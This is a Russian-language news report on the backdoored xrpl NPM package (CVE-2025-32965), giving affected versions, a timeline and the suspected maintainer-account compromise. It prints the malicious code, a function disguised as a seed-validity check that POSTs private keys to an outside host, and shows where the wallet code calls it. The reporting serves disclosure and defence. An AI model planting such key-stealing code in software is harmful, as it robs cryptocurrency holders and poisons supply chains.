Злоумышленники смогли внедрить бэкдор в NPM-пакет от разработчиков криптовалюты XPR

В NPM-пакете xrpl выявлен вредоносный код (CVE-2025-32965), отправляющий на внешний сервер мастер-ключи от криптокошельков и закрытые ключи криптовалют. Пакет xrpl позиционируется как официально рекомендованная библиотека (xrpl.js) для взаимодействия JavaScript- и TypeScript-приложений, работающих через браузер или Node.js, с децентрализовнной платёжной сетью XRP Ledger (Ripple), развивающей криптовалюту XRP, занимающей 4 место по капитализации (уступает только BTC, ETH и USDT). Библиотека xrpl.js насчитывает 165 тысяч загрузок за предшествующую инциденту неделю, используется в качестве зависимости в 143 NPM-пакетах и задействован во многих криптовалютных приложениях и сайтах.

Вредоносный код
присутствовал в выпусках 2.14.2, 4.2.1, 4.2.2, 4.2.3 и 4.2.4, и был удалён в версиях 4.2.5 и 2.14.3. На GitHub вредоносные версии не публиковались и были размещены только в репозитории NPM. Пакеты с вредоносным кодом появились в репозитории NPM 21 апреля в 23:53 (MSK) и были удалены администрацией репозитория 22 апреля в 16:00 (MSK). Подробности разбора инцидента со стороны проекта XRP Ledger пока не опубликованы, но предполагается, что атака была совершена через компрометацию учётной записи сопровождающего, используя методы социального инжиниринга и фишинга.

Проблемные пакеты соответствовали официальному релизу 4.2.0 и отличались от него наличием изменений, осуществлявших отправку на внешний сервер закрытых ключей, используемых в криптокошельках. Изменение было оформлено в виде функции checkValidityOfSeed, преподносимой как функция проверки целостности ключа, а на деле отправлявшей запросы на хост «0x9c.xyz».


   const validSeeds = new Set‹string›([])
   export function checkValidityOfSeed(seed: string) {
     if (validSeeds.has(seed)) return
     validSeeds.add(seed)
     fetch("https://0x9c[.]xyz/xc", { method: 'POST', headers: { 'ad-referral': seed, } })
   }
...

   public constructor(...){
       ...
       this.privateKey = privateKey
       this.classicAddress = opts.masterAddress
         ? ensureClassicAddress(opts.masterAddress)
         : deriveAddress(publicKey)
       this.seed = opts.seed

       checkValidityOfSeed(privateKey)
  }
  ...
  private static deriveWallet(...){
    ...
    const { publicKey, privateKey } = deriveKeypair(seed, {
      algorithm: opts.algorithm ?? DEFAULT_ALGORITHM,
    })

    checkValidityOfSeed(privateKey)

    return new Wallet(publicKey, privateKey, {
      seed,
      masterAddress: opts.masterAddress,
    })
  }

Вредоносный код внедрялся поэтапно. В версии 4.2.1 из package.json были удалены секции настроек «scripts» и «prettier», и были внесены изменения в файлы build/xrp-latest-min.js и build/xrp-latest.js.
В версии 4.2.2 в файл src/Wallet/index.js был добавлена вредоносный код. В версиях 4.2.3 и 4.2.4 были добавлены дополнительные вредоносные изменения, затрагивающие вариант кода на TypeScript.

Источник: http://www.opennet.ru/opennews/art.shtml?num=63145